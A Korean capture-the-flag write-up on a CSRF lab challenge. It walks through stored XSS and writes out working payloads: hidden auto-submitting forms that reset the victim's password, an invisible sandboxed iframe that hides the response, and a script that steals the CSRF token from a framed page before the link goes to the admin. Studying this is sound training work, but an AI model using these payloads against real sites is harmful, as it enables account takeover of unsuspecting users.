| 페이지 | URL |
|---|---|
| 마이페이지 | http://ctf.segfaulthub.com:7575/csrf_3/mypage_update.php |
| Burp Suite에서 확인 |
|---|
![]() |
| GET방식으로 TEST |
|---|
![]() |
<,',",> 넣어보기<,',",>삽입 |
|---|
![]() |
| 결과확인 |
|---|
![]() |
<'"> 출력 -> 모두 사용할 수 있음<script>, <img>,</script>삽입| 스크립트 삽입 |
|---|
![]() |
| 결과확인 |
|---|
![]() |
<script> 출력 -><script> 사용가능</script> 출력 -></script> 사용가능<img>출력 -> <img> 사용가능<form>태그사용URL은 CRSF 취약점이 있는 페이지 URL
스크립트
<form action="http://ctf.segfaulthub.com:7575/csrf_3/mypage_update.php" method="POST">
<input type="hidden" name="id" value="">
<input type="hidden" name="info" value="">
<input type="hidden" name="pw" value="pad">
<input type="hidden" name="csrf_token" value="csrf_token 값">
<input type="submit" value="submit">
</form>
| 스크립트 삽입 |
|---|
![]() |
| 출력화면에서 확인 |
|---|
![]() |
-> 버튼이 노출됨
<form action="http://ctf.segfaulthub.com:7575/csrf_3/mypage_update.php" method="POST" id ="myform">
<input type="hidden" name="id" value="">
<input type="hidden" name="info" value="">
<input type="hidden" name="pw" value="pad">
<input type="hidden" name="csrf_token" value="csrf_token 값">
<input type="submit" value="submit">
</form>
<script>
document.getElementById('myform').submit();
</script>
- <input type="submit" value="submit"> 제거
-> 자동전송으로 해결
<form>태그에 id 넣어줌<form>태그에서 지정한 아이디로 특정한 다음 submit()를 사용| 스크립트 삽입 |
|---|
![]() |
| 게시글 클릭 |
|---|
![]() |
| 클릭 후 alert |
|---|
![]() |
| 클릭 후 redirection |
|---|
![]() |
alert()
수정되었다는 알람
redirection
수정후 자동페이지 이동
csrf-token
방문할때 마다 csrf-token이 발급되기 때문에 다른사람에게 적용x
<iframe>사용<iframe>에 name을 추가하여 <form>값을 받음
스크립트
<iframe name="stealthframe"></iframe>
<form action="URL" method=POST id ="myform" target="stealthframe">
<input type = "hidden" name="id" value="">
<input type = "hidden" name="info" value="">
<input type = "hidden" name="pw" value="pad">
<input type = "hidden" name="csrf-token" value="csrf값">
</form>
<script>
document.getElementById('myform').submit();
</script>
| 스크립트 삽입 |
|---|
![]() |
| 게시글 클릭 후 반응(alert) |
|---|
![]() |
| 게시글 클릭 후 반응(redirection) |
|---|
![]() |
-> alert 알람
-> iframe 노출
-> 변경되는 csrf-token
<iframe> 화면에서 지우기<iframe> 태그에 style="display:done;"으로 개별 스타일주기
-> <iframe name="stealthframe" style="display:done;"></iframe>
| 스크립트 삽입 |
|---|
![]() |
style="display:done;"이 적용된 화면 |
|---|
![]() |
<iframe>에 sandbox="allow-script"삽입
<iframe name="stealth" style="display: none;" sandbox="allow-scripts allow-same.origin">는 부모태크(body)의 출처와 자식태크 출처를 같게 간주하여 서로 DOM에 접근 가능
<iframe name="stealth" style="display: none;" sandbox="allow-scripts ">은 부모태그와 자식태그의 출처를 다르게하여 서로 DOM에 접근 못하게함
| 스크립트 삽입 |
|---|
![]() |
sandbox="allow-script"이 적용된 화면 |
|---|
![]() |
<iframe>으로 CSRF-TOKEN 발급되는 페이지 불러오기<iframe>으로 CSRF-TOKEN 발급되는 페이지 불러오기<iframe src="CSRF-TOKEN있는 페이지URL"><iframe> 스크립트 삽입| 스크립트 삽입 |
|---|
![]() |
| 출력페이지 |
|---|
![]() |
<iframe>로 불러온 페이지에서 javascript를 사용해서 값추출스크립트
<iframe src="CSRF-TOKEN 발급되는 페이지" id="target"></iframe>
<script>
document.getElementById('target').onload=function(){
let target = document.getElementById('target');
let DOM = target.contentDocument;
let hope = DOM.getElementsByName('csrf_token');
let real = hope[0].value;
console.log(real);
}
</script>
| 스크립트 |
|---|
![]() |
| console.log로 확인(CSRF-TOKEN) |
|---|
![]() |
document.getElementById('target').onload=function(){}을 사용해서 id로 지정한 <iframe>이 완전히 로드된 후 실행하도록 설정 let target = document.getElementById('target');으로 iframe을 지정let DOM = target.contentDocument;으로 iframe으로 불러온 페이지 DOM을 객체로 조작가능하게 함let hope = DOM.getElementsByName('csrf_token');로 정보를 가져올 태그 지정let real = hope[0].value;배열로 정보를 받기 때문에 원하는 정보를 변수에 담음<input type="hidden" name="csrf_token" value="">에 id="csrf" 을 지정해줘서 나중에 value값을 받을 수 있게함document.getElementById('csrf').value=real;은 <form>태그 안에 csrf라는 id를 가진 input태그의 value를 지정| 스크립트 삽입 |
|---|
![]() |
| 출력페이지 |
|---|
![]() |
전체 스크립트
<iframe src="CSRF-TOKEN이 존재하는 페이지 URL" id = "target" style="display: none;" ></iframe>
<iframe name="stealth" style="display: none;" sandbox="allow-scripts"></iframe>
<form action="정보를 보내는 URL(ex)마이페이지 수정)" method=POST target="stealth" id="plz">
<input type="hidden" name="id" value="">
<input type="hidden" name="info" value="">
<input type="hidden" name="pw" value="1111">
<input type="hidden" name="csrf_token" id="csrf" >
</form>
<script>
document.getElementById('target').onload=function(){
let target = document.getElementById('target');
let DOM = target.contentDocument;
let hope = DOM.getElementsByName('csrf_token');
let real = hope[0].value
document.getElementById('csrf').value=real;
document.getElementById('plz').submit();
};
</script>
| 관리자에게 스크립트가 삽입된 URL전달 |
|---|
![]() |
| 결과 |
|---|
![]() |